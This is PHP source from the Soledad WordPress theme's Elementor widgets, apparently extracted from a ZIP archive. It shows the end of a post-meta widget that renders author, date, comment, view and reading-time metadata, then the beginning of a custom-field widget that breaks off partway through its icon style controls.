			'selectors' => [ '{{WRAPPER}} .pcmt-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_gnr_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcmt-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .pcmt-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_gnr_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcmt-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'author_icon_settings', [
			'label'     => esc_html__( 'Author Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_ava_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_ava_icon', [
			'label'            => esc_html__( 'Post Author Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-user',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_author_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .ava-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_author_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .ava-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .ava-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .ava-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_author_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .ava-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .ava-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'date_icon_settings', [
			'label'     => esc_html__( 'Date Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_date_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_date_icon', [
			'label'            => esc_html__( 'Post Date Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-clock',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_date_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .date-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_date_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .date-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .date-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .date-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_date_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .date-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .date-icon:after' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'comment_icon_settings', [
			'label'     => esc_html__( 'Comment Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_comment_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_comment_icon', [
			'label'            => esc_html__( 'Post Comment Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-comment-alt',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_comment_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .comment-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_comment_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .comment-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .comment-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .comment-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_comment_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .comment-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .comment-icon:after' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'view_icon_settings', [
			'label'     => esc_html__( 'Post View Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_view_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_view_icon', [
			'label'            => esc_html__( 'Post View Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-eye',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_view_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .view-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_view_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .view-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .view-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .view-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_view_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .view-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .view-icon:after' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'reading_icon_settings', [
			'label'     => esc_html__( 'Reading Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_reading_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_reading_icon', [
			'label'            => esc_html__( 'Post Reading Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-book',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_reading_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .reading-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_reading_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .reading-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .reading-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .reading-icon:before' => 'border-left-color:{{VALUE}} !important',
			]

		] );

		$this->add_control( 'penci_single_meta_reading_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .reading-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .reading-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for Post Meta', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-box-meta-single',
		) );

		$this->add_control( 'meta-color', [
			'label'     => 'Meta Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single, {{WRAPPER}} .post-box-meta-single span' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-link-color', [
			'label'     => 'Meta Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-link-hcolor', [
			'label'     => 'Meta Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-color-heading', [
			'label' => 'Meta Color',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'meta-author-color', [
			'label'     => 'Author Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-post,{{WRAPPER}} .author-post .author' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'meta-author-lcolor', [
			'label'     => 'Author Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-post a' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'meta-author-hcolor', [
			'label'     => 'Author Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-post a:hover' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'meta-pdate-color', [
			'label'     => 'Post Date Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pctmp-date-post' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_meta_date!' => 'yes' ],
		] );

		$this->add_control( 'meta-pcomment-color', [
			'label'     => 'Post Comment Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pctmp-comment-post' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_meta_comment!' => 'yes' ],
		] );

		$this->add_control( 'meta-pview-color', [
			'label'     => 'Post View Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pctmp-view-post' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_show_cview!' => 'yes' ],
		] );

		$this->add_control( 'meta-preading-color', [
			'label'     => 'Post Reading Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .single-readtime' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_hreadtime!' => 'yes' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings             = $this->get_settings();
		$avatar               = $settings['penci_single_author_avatar'];
		$avatarw              = $settings['penci_avatar_w'];
		$ava_icon_enable      = $settings['penci_single_meta_ava_icon_check'];
		$ava_icon             = $settings['penci_single_meta_ava_icon'];
		$date_icon_enable     = $settings['penci_single_meta_date_icon_check'];
		$date_icon            = $settings['penci_single_meta_date_icon'];
		$commment_icon_enable = $settings['penci_single_meta_comment_icon_check'];
		$commment_icon        = $settings['penci_single_meta_comment_icon'];
		$view_icon_enable     = $settings['penci_single_meta_view_icon_check'];
		$view_icon            = $settings['penci_single_meta_view_icon'];
		$reading_icon_enable  = $settings['penci_single_meta_reading_icon_check'];
		$reading_icon         = $settings['penci_single_meta_reading_icon'];
		$icon_style           = $settings['meta_icon_style'];
		$label_text           = $settings['hide_meta_label'];
		global $post;
		?>
        <div class="post-box-meta-single style-<?php echo esc_attr( $icon_style ); ?>">
			<?php if ( ! $settings['penci_single_meta_author'] ) : ?>
                <span class="author-post byline">
            <span class="author vcard">
			<?php
			if ( ! $ava_icon_enable && $ava_icon ) {
				echo '<span class="pcmt-icon ava-icon">';
				\Elementor\Icons_Manager::render_icon( $ava_icon );
				echo '</span>';
			}
			?>
	            <?php if ( ! $label_text ) {
		            echo penci_get_setting( 'penci_trans_written_by' );
	            } ?>
	            <?php
	            $author_ids     = [];
	            $post_author_id = get_post_field( 'post_author', $post->ID );
	            if ( $post_author_id ) {
		            $author_ids[] = $post_author_id;
	            }

	            if ( function_exists( 'coauthors__echo' ) ) {
		            $author_list = coauthors__echo( 'ID', 'field', array(
			            'between'     => ',',
			            'betweenLast' => ',',
			            'before'      => '',
			            'after'       => '',
		            ), null, false );
		            if ( $author_list ) {
			            $author_ids = explode( ',', $author_list );
		            }
	            }
	            $total   = count( $author_ids );
	            $current = 0;
	            foreach ( $author_ids as $author_id ) {
		            $current ++;
		            ?>

                    <a class="author-url url fn n"
                       href="<?php echo get_author_posts_url( $author_id ); ?>">
                                                <?php
                                                if ( ! $avatar ) {
	                                                echo get_avatar( $author_id, $avatarw );
                                                } else {
	                                                echo $current == 2 ? ', ' : ( ( $current == $total && $total > 1 ) ? ' & ' : '' );
                                                }
                                                echo get_the_author_meta( 'display_name', $author_id ); ?>
                                            </a>
	            <?php } ?>
                </span>
                </span>
			<?php endif; ?>
			<?php if ( ! $settings['penci_single_meta_date'] ) : ?>
                <span class="pctmp-date-post">
				<?php
				if ( ! $date_icon_enable && $date_icon ) {
					echo '<span class="pcmt-icon date-icon">';
					\Elementor\Icons_Manager::render_icon( $date_icon );
					echo '</span>';
				}
				?>
				<?php penci_soledad_time_link( 'single' ); ?></span>
			<?php endif; ?>
			<?php if ( ! $settings['penci_single_meta_comment'] ) :
				?>
                <span class="pctmp-comment-post">
            <?php
            if ( ! $commment_icon_enable && $commment_icon ) {
	            echo '<span class="pcmt-icon comment-icon">';
	            \Elementor\Icons_Manager::render_icon( $commment_icon );
	            echo '</span>';
            }
            $comment_text  = ! $label_text ? penci_get_setting( 'penci_trans_comment' ) : '';
            $comments_text = ! $label_text ? penci_get_setting( 'penci_trans_comments' ) : '';
            ?>
            <?php comments_number( '0 ' . $comments_text, '1 ' . $comment_text, '% ' . $comments_text ); ?></span>
			<?php endif; ?>
			<?php if ( ! $settings['penci_single_show_cview'] ) :
				?>
                <span class="pctmp-view-post">
            <?php
            if ( ! $view_icon_enable && $view_icon ) {
	            echo '<span class="pcmt-icon view-icon">';
	            \Elementor\Icons_Manager::render_icon( $view_icon );
	            echo '</span>';
            }
            ?>
                <i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i> <?php if ( ! $label_text ) {
						echo penci_get_setting( 'penci_trans_countviews' );
					} ?></span>
			<?php endif; ?>
			<?php if ( penci_isshow_reading_time( $settings['penci_single_hreadtime'] ) ):
				?>
                <span class="single-readtime">
            <?php
            if ( ! $reading_icon_enable && $reading_icon ) {
	            echo '<span class="pcmt-icon reading -icon">';
	            \Elementor\Icons_Manager::render_icon( $reading_icon );
	            echo '</span>';
            }
            ?>
            <?php penci_reading_time(); ?></span>
			<?php endif; ?>
			<?php do_action( 'penci_single_meta_content' ); ?>
        </div>
		<?php
	}

	protected function builder_content() {
		$settings             = $this->get_settings();
		$hide_readtime        = $settings['penci_single_hreadtime'];
		$avatar               = $settings['penci_single_author_avatar'];
		$avatarw              = isset( $settings['penci_avatar_w'] ) && $settings['penci_avatar_w'] ? $settings['penci_avatar_w'] : 32;
		$ava_icon_enable      = $settings['penci_single_meta_ava_icon_check'];
		$ava_icon             = $settings['penci_single_meta_ava_icon'];
		$date_icon_enable     = $settings['penci_single_meta_date_icon_check'];
		$date_icon            = $settings['penci_single_meta_date_icon'];
		$commment_icon_enable = $settings['penci_single_meta_comment_icon_check'];
		$commment_icon        = $settings['penci_single_meta_comment_icon'];
		$view_icon_enable     = $settings['penci_single_meta_view_icon_check'];
		$view_icon            = $settings['penci_single_meta_view_icon'];
		$reading_icon_enable  = $settings['penci_single_meta_reading_icon_check'];
		$reading_icon         = $settings['penci_single_meta_reading_icon'];
		$icon_style           = $settings['meta_icon_style'];
		$label_text           = $settings['hide_meta_label'];
		global $post;
		$author_ids = [];
		$author_id  = get_post_field( 'post_author', get_the_ID() );
		if ( $author_id ) {
			$author_ids[] = $author_id;
		}
		if ( function_exists( 'coauthors__echo' ) ) {
			$author_list = coauthors__echo( 'ID', 'field', array(
				'between'     => ',',
				'betweenLast' => ',',
				'before'      => '',
				'after'       => '',
			), null, false );
			if ( $author_list ) {
				$author_ids = explode( ',', $author_list );
			}
		}
		$total   = count( $author_ids );
		$current = 0;
		?>
        <div class="post-box-meta-single style-<?php echo esc_attr( $icon_style ); ?>">
			<?php if ( ! $settings['penci_single_meta_author'] ) :
				?>
                <span class="author-post byline">
                    <span class="author vcard">
                        <?php
                        if ( ! $ava_icon_enable && $ava_icon ) {
	                        echo '<span class="pcmt-icon ava-icon">';
	                        \Elementor\Icons_Manager::render_icon( $ava_icon );
	                        echo '</span>';
                        }
                        ?>
	                    <?php if ( ! $label_text ) {
		                    echo penci_get_setting( 'penci_trans_written_by' );
	                    } ?>
	                    <?php foreach ( $author_ids as $author_id ) {
		                    $current ++;
		                    ?>
                            <a class="author-url url fn n"
                               href="<?php echo get_author_posts_url( $author_id ); ?>">
                            <?php
                            if ( ! $avatar ) {
	                            echo get_avatar( $author_id, $avatarw );
                            } else {
	                            echo $current == 2 ? ', ' : ( ( $current == $total && $total > 1 ) ? ' & ' : '' );
                            }
                            echo get_the_author_meta( 'display_name', $author_id ); ?>
                        </a>
	                    <?php } ?>
                    </span>
                </span>
				<?php penci_author_update_name( $settings['penci_single_meta_author_update'], $avatar, $avatarw ); ?>
			<?php endif; ?>
			<?php if ( ! $settings['penci_single_meta_date'] ) : ?>
                <span class="pctmp-date-post">
				<?php
				if ( ! $date_icon_enable && $date_icon ) {
					echo '<span class="pcmt-icon date-icon">';
					\Elementor\Icons_Manager::render_icon( $date_icon );
					echo '</span>';
				}
				?>
				<?php penci_soledad_time_link( 'single' ); ?></span>
			<?php endif; ?>
			<?php if ( ! $settings['penci_single_meta_comment'] ) :
				?>
                <span class="pctmp-comment-post">
            <?php
            if ( ! $commment_icon_enable && $commment_icon ) {
	            echo '<span class="pcmt-icon comment-icon">';
	            \Elementor\Icons_Manager::render_icon( $commment_icon );
	            echo '</span>';
            }
            $comment_text  = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comment' ) : '';
            $comments_text = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comments' ) : '';
            ?>
            <?php comments_number( '0' . $comments_text, '1' . $comment_text, '%' . $comments_text ); ?></span>
			<?php endif; ?>
			<?php if ( ! $settings['penci_single_show_cview'] ) : ?>
                <span class="pctmp-view-post">
            <?php
            if ( ! $view_icon_enable && $view_icon ) {
	            echo '<span class="pcmt-icon view-icon">';
	            \Elementor\Icons_Manager::render_icon( $view_icon );
	            echo '</span>';
            }
            ?>
                <i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i><?php if ( ! $label_text ) {
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
					} ?></span>
			<?php endif; ?>
			<?php if ( penci_isshow_reading_time( $hide_readtime ) ):
				?>
                <span class="single-readtime">
            <?php
            if ( ! $reading_icon_enable && $reading_icon ) {
	            echo '<span class="pcmt-icon reading-icon">';
	            \Elementor\Icons_Manager::render_icon( $reading_icon );
	            echo '</span>';
            }
            ?>
            <?php penci_reading_time(); ?></span>
			<?php endif; ?>
			<?php do_action( 'penci_single_meta_content' ); ?>
        </div>
		<?php
	}
}
PK     N\,  ,  5  inc/template-builder/single-elements/custom-field.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleCustomfield extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Custom Field', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-title';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'meta', 'field' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-csf elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-custom-field';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'meta_source', [
			'label'   => esc_html__( 'Meta Source', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'custom',
			'options' => [
				'custom' => 'Custom Meta Field',
				'acf'    => 'Advanced Custom Field',
			]
		] );

		$this->add_control( 'meta', [
			'label'     => esc_html__( 'Meta Key', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::TEXT,
			'condition' => [ 'meta_source' => 'custom' ]
		] );

		$this->add_control( 'acf', [
			'label'       => esc_html__( 'ACF Field', 'soledad' ),
			'description' => __( 'You can show your own custom fields easily by using the <a href="https://wordpress.org/plugins/advanced-custom-fields/" target="_blank">Advanced Custom Fields</a> plugin.', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT2,
			'options'     => penci_get_afc_fields( true ),
			'condition'   => [ 'meta_source' => 'acf' ]
		] );

		$this->add_control( 'meta_label', [
			'label' => esc_html__( 'Meta Label', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::TEXT,
		] );

		$this->add_control( 'meta_align', [
			'label'     => __( 'Meta Text Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single' => 'text-align:{{VALUE}}' ],
		] );

		$this->add_control( 'meta_icon_check', [
			'label'     => esc_html__( 'Hide Meta Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'meta_img_preview', [
			'label'       => esc_html__( 'Display Field as Image', 'soledad' ),
			'description' => esc_html__( 'Use this option if your custom field are image field', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SWITCHER,
			'label_on'    => __( 'Yes', 'soledad' ),
			'label_off'   => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'meta_icon', [
			'label'            => esc_html__( 'Meta Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-user',
				'library' => 'fa-regular',
			],
			'condition'        => [ 'meta_icon_check!' => 'yes' ],
		] );

		$this->end_controls_section();


		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Meta Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for Post Meta', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-box-meta-single',
		) );

		$this->add_control( 'meta-color', [
			'label'     => 'Meta Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single, {{WRAPPER}} .post-box-meta-single span' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-link-color', [
			'label'     => 'Meta Content Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single span.content' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-bg-color', [
			'label'     => 'Meta Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'meta-img-mw', [
			'label'     => 'Meta Image Max Width',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => [
				'px' => [
					'min' => 0,
					'max' => 1200,
				],
			],
			'condition' => [ 'meta_img_preview' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single img' => 'max-width:{{SIZE}}px;width:auto;' ],
		] );

		$this->add_responsive_control( 'meta-img-mh', [
			'label'     => 'Meta Image Max Height',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => [
				'px' => [
					'min' => 0,
					'max' => 1200,
				],
			],
			'condition' => [ 'meta_img_preview' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single img' => 'max-height:{{SIZE}}px;height:auto;' ],
		] );

		$this->add_responsive_control( 'meta-img-bd', [
			'label'     => 'Meta Image Border Radius',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => [
				'%' => [
					'min' => 0,
					'max' => 100,
				],
			],
			'condition' => [ 'meta_img_preview' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single img' => 'border-radius:{{SIZE}}%' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'icon_settings', [
			'label' => esc_html__( 'Icon Settings', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'meta_icon_style', [
			'label'   => esc_html__( 'Icon Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'default',
			'options' => [
				'default' => 'Default',
				's1'      => 'Style 1',
				's2'      => 'Style 2',
				's3'      => 'Style 3',
				's4'      => 'Style 4',
			],
		] );

		$this->add_control( 'meta_icon_size', [
			'label'     => esc_html__( 'Icon Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_fsize', [
			'label'     => esc_html__( 'Icon Font Size', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'font-size: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_border', [
			'label'     => esc_html__( 'Icon Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'border-radius: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_borderw', [
			'label'     => esc_html__( 'Icon Borders Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 10, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'border-width: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'penci_single_meta_gnr_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcmt-icon' => 'color:{{VALUE}} !important' ]
		] );

		$this->add_control( 'penci_single_meta_gnr_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcmt-icon'                                       => 'background-color:{{VALUE}}',
